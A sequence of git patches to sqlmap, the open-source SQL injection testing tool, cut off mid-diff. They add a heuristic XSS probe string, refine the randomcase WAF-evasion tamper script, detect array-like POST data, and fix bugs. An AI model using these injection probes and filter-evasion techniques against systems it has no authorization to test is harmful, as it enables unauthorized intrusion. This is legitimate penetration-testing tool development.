"__builtins__" and originals.get(name, "") != value: From ff42720c6257de96cabd0bdb1efef9f256836deb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Sep 2014 14:07:59 +0200 Subject: [PATCH 490/889] Minor fix --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index fa1029a58..fcaacd17e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1004,7 +1004,7 @@ def _setWafFunctions(): _ = dict(inspect.getmembers(module)) if "detect" not in _: - errMsg = "missing function 'detect(page, headers, code)' " + errMsg = "missing function 'detect(get_page)' " errMsg += "in WAF script '%s'" % found raise SqlmapGenericException(errMsg) else: From 4d237444308a68a21355695c31e935132c7f54e4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Sep 2014 09:58:02 +0200 Subject: [PATCH 491/889] Bug fix (there was a problem using --tamper=varnish with --identify-waf because of same named modules) --- lib/core/option.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index fcaacd17e..921fd035e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -998,6 +998,8 @@ def _setWafFunctions(): sys.path.insert(0, dirname) try: + if filename[:-3] in sys.modules: + del sys.modules[filename[:-3]] module = __import__(filename[:-3]) except ImportError, msg: raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg)) From 8c9014c39fb3c21c703d50f1fc57f33d0fa35ea2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 13:31:48 +0200 Subject: [PATCH 492/889] Adding a dummy (auxiliary) XSS check --- lib/controller/checks.py | 15 +++++++++++++++ lib/core/common.py | 4 ++-- lib/core/settings.py | 3 +++ 3 files changed, 20 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d19a32d31..44582dbc3 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -58,6 +58,7 @@ from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import DUMMY_XSS_CHECK_APPENDIX from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH @@ -848,6 +849,20 @@ def heuristicCheckSqlInjection(place, parameter): infoMsg += "not be injectable" logger.warn(infoMsg) + kb.heuristicMode = True + + payload = "%s%s%s" % (prefix, "%s%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()), suffix) + payload = agent.payload(place, parameter, newValue=payload) + page, _ = Request.queryPage(payload, place, content=True, raise404=False) + + if DUMMY_XSS_CHECK_APPENDIX in (page or ""): + infoMsg = "heuristic (XSS) test shows that %s " % place + infoMsg += "parameter '%s' might " % parameter + infoMsg += "be vulnerable to XSS attacks" + logger.info(infoMsg) + + kb.heuristicMode = False + return kb.heuristicTest def checkDynParam(place, parameter, value): diff --git a/lib/core/common.py b/lib/core/common.py index e99dfa63d..2a30103e8 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2931,7 +2931,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = content - if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism: + if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) @@ -2966,7 +2966,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False): regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal) - if retVal != content and not kb.heuristicMode: + if retVal != content: kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 if not suppressWarning: warnMsg = "reflective value(s) found and filtering out" diff --git a/lib/core/settings.py b/lib/core/settings.py index 4a93fdfa5..66bc20418 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -509,6 +509,9 @@ DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters) # Alphabet used for heuristic checks HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', '[', ']', ',', '.') +# String used for dummy XSS check of a tested parameter value +DUMMY_XSS_CHECK_APPENDIX = "<'\">" + # Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections) MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 From a9454fbb439a7258ed39c6c1bbdd5e2f4222de8a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 13:35:20 +0200 Subject: [PATCH 493/889] Minor commit related to the last one (bypassing DBMS error trimming problem) --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 44582dbc3..d875b4b85 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -851,7 +851,7 @@ def heuristicCheckSqlInjection(place, parameter): kb.heuristicMode = True - payload = "%s%s%s" % (prefix, "%s%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()), suffix) + payload = "%s%s%s" % (prefix, "%s'%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()), suffix) payload = agent.payload(place, parameter, newValue=payload) page, _ = Request.queryPage(payload, place, content=True, raise404=False) From f67a38dba9223ee99fca2007bf9b969a497a7276 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 13:42:10 +0200 Subject: [PATCH 494/889] Minor adjustment --- lib/controller/checks.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d875b4b85..e4429dfd7 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -851,11 +851,12 @@ def heuristicCheckSqlInjection(place, parameter): kb.heuristicMode = True - payload = "%s%s%s" % (prefix, "%s'%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()), suffix) + value = "%s%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()) + payload = "%s%s%s" % (prefix, "'%s" % value, suffix) payload = agent.payload(place, parameter, newValue=payload) page, _ = Request.queryPage(payload, place, content=True, raise404=False) - if DUMMY_XSS_CHECK_APPENDIX in (page or ""): + if value in (page or ""): infoMsg = "heuristic (XSS) test shows that %s " % place infoMsg += "parameter '%s' might " % parameter infoMsg += "be vulnerable to XSS attacks" From e81168af0f75c9779791bae96b77760b87204e45 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 13:59:51 +0200 Subject: [PATCH 495/889] Minor adjustment --- lib/techniques/brute/use.py | 10 +++++----- lib/techniques/dns/use.py | 2 +- lib/techniques/union/use.py | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py index 66e565bf1..6a5ea5682 100644 --- a/lib/techniques/brute/use.py +++ b/lib/techniques/brute/use.py @@ -116,7 +116,7 @@ def tableExists(tableFile, regex=None): if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): @@ -224,11 +224,11 @@ def columnExists(columnFile, regex=None): if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): - status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() @@ -257,9 +257,9 @@ def columnExists(columnFile, regex=None): result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: - columns[column] = 'numeric' + columns[column] = "numeric" else: - columns[column] = 'non-numeric' + columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {conf.tbl: columns} diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index ef7280be9..dead67d73 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -98,7 +98,7 @@ def dnsUse(payload, expression): retVal = output if kb.dnsTest is not None: - dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) + dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 75e4c4b68..e1a043e70 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -322,7 +322,7 @@ def unionUse(expression, unpack=True, dump=False): if len(status) > width: status = "%s..." % status[:width - 3] - dataToStdout("%s\r\n" % status, True) + dataToStdout("%s\n" % status, True) runThreads(numThreads, unionThread) From a2b059123a0a9d2431d2d925e7dd2ce7de3addf6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 14:12:30 +0200 Subject: [PATCH 496/889] Minor update of format exception strings --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 66bc20418..104d28df5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -546,7 +546,7 @@ MAX_HELP_OPTION_LENGTH = 18 MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException") +FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal") # Regular expression used for extracting ASP.NET view state values VIEWSTATE_REGEX = r'(?i)(?P__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' From fdef53aa679bf8c96f9fb9d4befdf2e36295b7e3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 14:23:45 +0200 Subject: [PATCH 497/889] Minor update of unhandled exception message --- lib/core/common.py | 14 ++++++++------ lib/core/settings.py | 1 + 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 2a30103e8..12e4ac9e9 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -98,6 +98,7 @@ from lib.core.settings import ERROR_PARSING_REGEXES from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME from lib.core.settings import FORM_SEARCH_REGEX from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES +from lib.core.settings import GIT_PAGE from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES @@ -2828,13 +2829,14 @@ def unhandledExceptionMessage(): Returns detailed message about occurred unhandled exception """ - errMsg = "unhandled exception in %s, retry your " % VERSION_STRING - errMsg += "run with the latest development version from the GitHub " - errMsg += "repository. If the exception persists, please send by e-mail " - errMsg += "to '%s' or open a new issue at '%s' with the following text " % (ML, ISSUES_PAGE) - errMsg += "and any information required to reproduce the bug. The " + errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING + errMsg += "run with the latest development version from official GitHub " + errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE + errMsg += "at '%s' (or less preferably send by e-mail to '%s') " % (ISSUES_PAGE, ML) + errMsg += "with the following text and any other information required to " + errMsg += "reproduce the bug. The " errMsg += "developers will try to reproduce the bug, fix it accordingly " - errMsg += "and get back to you.\n" + errMsg += "and get back to you\n" errMsg += "sqlmap version: %s%s\n" % (VERSION, "-%s" % REVISION if REVISION else "") errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM diff --git a/lib/core/settings.py b/lib/core/settings.py index 104d28df5..fbab89ca3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -26,6 +26,7 @@ DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" +GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" ML = "sqlmap-users@lists.sourceforge.net" # colorful banner From 45122582cfe89f68d168613e7a16bd01ed570b3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 14:25:54 +0200 Subject: [PATCH 498/889] Year update in COPYING --- doc/COPYING | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/COPYING b/doc/COPYING index 38a61d291..a8ccaaa4d 100644 --- a/doc/COPYING +++ b/doc/COPYING @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2013 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2014 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free From 2de12ef4a276cc83f4dcc8c2c815a4b7d1a68858 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 5 Oct 2014 00:20:42 +0200 Subject: [PATCH 499/889] Potential fix for an Issue #843 --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index fbab89ca3..405a0f026 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -34,7 +34,7 @@ BANNER = """\033[01;33m _ ___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| - |_| |_| \033[0m\033[4m%s\033[0m\n + |_| |_| \033[0m\033[4;37m%s\033[0m\n """ % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True From 9d25389ef039f4f03eb41b16750253c0f6de55df Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 10:20:40 +0200 Subject: [PATCH 500/889] Minor fix regarding Issue #845 --- doc/THIRD-PARTY.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 5debfe274..1e73d3827 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -55,7 +55,7 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Copyright (C) 2008-2009, Jose Fonseca. * The KeepAlive library located under thirdparty/keepalive/. Copyright (C) 2002-2003, Michael D. Stenner. -* The MultipartPost library located under thirdparty/multipartpost/. +* The MultipartPost library located under thirdparty/multipart/. Copyright (C) 2006, Will Holcomb. * The XDot library located under thirdparty/xdot/. Copyright (C) 2008, Jose Fonseca. From 2f37fb295b9f03a019985e4ed3eb30c517968eb1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 10:31:17 +0200 Subject: [PATCH 501/889] Minor fix regarding Issue #845 --- doc/THIRD-PARTY.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 1e73d3827..f2479b31a 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -20,6 +20,8 @@ This file lists bundled packages and their associated licensing terms. * The Oset library located under thirdparty/oset/. Copyright (C) 2010, BlueDynamics Alliance, Austria. Copyright (C) 2009, Raymond Hettinger, and others. +* The PrettyPrint library located under thirdparty/prettyprint/. + Copyright (C) 2010, Chris Hall. * The SocksiPy library located under thirdparty/socks/. Copyright (C) 2006, Dan-Haim. @@ -281,8 +283,6 @@ be bound by the terms and conditions of this License Agreement. Copyright (C) 2012, Marcel Hellkamp. * The PageRank library located under thirdparty/pagerank/. Copyright (C) 2010, Corey Goldberg. -* The PrettyPrint library located under thirdparty/prettyprint/. - Copyright (C) 2010, Chris Hall. * The Termcolor library located under thirdparty/termcolor/. Copyright (C) 2008-2011, Volvox Development Team. From ddfec1c668163e23b03221243095f6c771189625 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 11:34:47 +0200 Subject: [PATCH 502/889] Initial patch for an Issue #846 --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 12e4ac9e9..9c197305e 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1542,7 +1542,7 @@ def safeStringFormat(format_, params): while True: match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal) if match: - if count > len(params): + if count >= len(params): raise Exception("wrong number of parameters during string formatting") else: retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) From 2ab455885921c30347d798c5f0af92361eeaac37 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 11:49:53 +0200 Subject: [PATCH 503/889] Potential fix for an Issue #846 --- lib/core/common.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9c197305e..44806295d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1520,10 +1520,10 @@ def safeStringFormat(format_, params): if format_.count(PAYLOAD_DELIMITER) == 2: _ = format_.split(PAYLOAD_DELIMITER) - _[1] = _[1].replace("%d", "%s") + _[1] = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", _[1]) retVal = PAYLOAD_DELIMITER.join(_) else: - retVal = format_.replace("%d", "%s") + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", format_) if isinstance(params, basestring): retVal = retVal.replace("%s", params, 1) From c6a8feea8a7ef2652cc673e2d2d6cddf27ea991b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 12:00:11 +0200 Subject: [PATCH 504/889] Fix for an Issue #831 --- lib/controller/checks.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index e4429dfd7..fa118f556 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -85,7 +85,11 @@ def checkSqlInjection(place, parameter, value): # Set the flag for SQL injection test mode kb.testMode = True - for test in getSortedInjectionTests(): + tests = getSortedInjectionTests() + + while tests: + test = tests.pop(0) + try: if kb.endDetection: break @@ -597,6 +601,7 @@ def checkSqlInjection(place, parameter, value): choice = readInput(msg, default=str(conf.verbose), checkBatch=False).strip() conf.verbose = int(choice) setVerbosity() + tests.insert(0, test) elif choice[0] in ("n", "N"): return None elif choice[0] in ("e", "E"): From 70215a95a1f2ce7e2051139369a5239723a18cc6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 13:02:47 +0200 Subject: [PATCH 505/889] Patch for an Issue #847 --- lib/core/common.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 44806295d..9b8f21045 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2809,14 +2809,11 @@ def decodeIntToUnicode(value): if isinstance(value, int): try: - # http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_ord - if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): + if value > 255: _ = "%x" % value if len(_) % 2 == 1: _ = "0%s" % _ - retVal = getUnicode(hexdecode(_)) - elif value > 255: - retVal = unichr(value) + retVal = getUnicode(hexdecode(_), encoding="UTF-16" if Backend.isDbms(DBMS.MSSQL) else None) else: retVal = getUnicode(chr(value)) except: From 35ed668a85244117b9ab42514e500e13394278ca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 13:09:37 +0200 Subject: [PATCH 506/889] Minor improvement of the randomcase tamper script --- tamper/randomcase.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 6f0a0a65e..3e7a60caa 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -44,10 +44,14 @@ def tamper(payload, **kwargs): word = match.group() if word.upper() in kb.keywords: - _ = str() + while True: + _ = "" - for i in xrange(len(word)): - _ += word[i].upper() if randomRange(0, 1) else word[i].lower() + for i in xrange(len(word)): + _ += word[i].upper() if randomRange(0, 1) else word[i].lower() + + if len(_) > 1 and _ not in (_.lower(), _.upper()): + break retVal = retVal.replace(word, _) From c823c58d47f87dafa87d8fb8cd69dee11a067bd7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Oct 2014 14:39:54 +0200 Subject: [PATCH 507/889] One patch related to the Issue #846 --- lib/core/agent.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 2df03da44..b8abc5567 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -32,6 +32,8 @@ from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import DEFAULT_COOKIE_DELIMITER +from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER @@ -156,7 +158,10 @@ class Agent(object): elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: - retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + if origValue: + retVal = re.sub(r"(\A|\b)%s=%s(\Z|\b)" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + else: + retVal = re.sub(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) if retVal == paramString and urlencode(parameter) != parameter: retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) From f94ac8c69d47651f74cc8ae6d7858979d110f0a4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Oct 2014 15:21:26 +0200 Subject: [PATCH 508/889] Second patch related to the Issue #846 --- lib/core/enums.py | 1 + lib/core/settings.py | 3 +++ lib/core/target.py | 13 +++++++++++++ 3 files changed, 17 insertions(+) diff --git a/lib/core/enums.py b/lib/core/enums.py index b4f8b809f..80cab9474 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -74,6 +74,7 @@ class POST_HINT: JSON_LIKE = "JSON-like" MULTIPART = "MULTIPART" XML = "XML (generic)" + ARRAY_LIKE = "Array-like" class HTTPMETHOD: GET = "GET" diff --git a/lib/core/settings.py b/lib/core/settings.py index 405a0f026..887009543 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -573,6 +573,9 @@ JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+) # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" +# Regular expression used for detecting Array-like POST data +ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\]=.+%s\2\[\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) + # Default POST data content-type DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" diff --git a/lib/core/target.py b/lib/core/target.py index 8f0be26ac..1daf63060 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -44,7 +44,9 @@ from lib.core.option import _setKnowledgeBaseAttributes from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES +from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX @@ -146,6 +148,17 @@ def _setRequestParams(): conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.JSON_LIKE + elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): + message = "Array-like data found in %s data. " % conf.method + message += "Do you want to process it? [Y/n/q] " + test = readInput(message, default="Y") + if test and test[0] in ("q", "Q"): + raise SqlmapUserQuitException + elif test[0] not in ("n", "N"): + conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) + conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % CUSTOM_INJECTION_MARK_CHAR, conf.data) + kb.postHint = POST_HINT.ARRAY_LIKE + elif re.search(XML_RECOGNITION_REGEX, conf.data): message = "SOAP/XML data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " From 7811a958ae03f070b69970bbd2905eeff55029d1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Oct 2014 15:42:44 +0200 Subject: [PATCH 509/889] Another minor patch for Issue #846 --- lib/core/dicts.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index c9cd0cd51..0a3d7dabe 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -207,6 +207,7 @@ POST_HINT_CONTENT_TYPES = { POST_HINT.MULTIPART: "multipart/form-data", POST_HINT.SOAP: "application/soap+xml", POST_HINT.XML: "application/xml", + POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", } DEPRECATED_OPTIONS = { From d4610890caab74bbcd1b92672f4a0b0dbcfeb861 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Oct 2014 10:07:17 +0200 Subject: [PATCH 510/889] Minor patch (flushing log file output at the end of program run) --- lib/core/dump.py | 7 +++++++ sqlmap.py | 3 +++ 2 files changed, 10 insertions(+) diff --git a/lib/core/dump.py b/lib/core/dump.py index ba3123ba9..4e1a06410 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -73,6 +73,13 @@ class Dump(object): kb.dataOutputFlag = True + def flush(self): + if self._outputFP: + try: + self._outputFP.flush() + except IOError: + pass + def setOutputFile(self): self._outputFile = os.path.join(conf.outputPath, "log") try: diff --git a/sqlmap.py b/sqlmap.py index 1607a0648..5807b341f 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -156,6 +156,9 @@ def main(): except KeyboardInterrupt: pass + if conf.get("dumper"): + conf.dumper.flush() + # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program if conf.get("threads", 0) > 1 or conf.get("dnsServer"): os._exit(0) From 2aadfc0fd3ef26a19a68cd3feb7c875270b6f912 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Oct 2014 10:38:17 +0200 Subject: [PATCH 511/889] Fix for an Issue #851 --- lib/utils/api.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 7a22bb123..78a1f1a31 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -164,8 +164,8 @@ class Task(object): shutil.rmtree(self.output_directory) def engine_start(self): - self.process = Popen("python sqlmap.py --pickled-options %s" % base64pickle(self.options), - shell=True, stdin=PIPE, close_fds=False) + 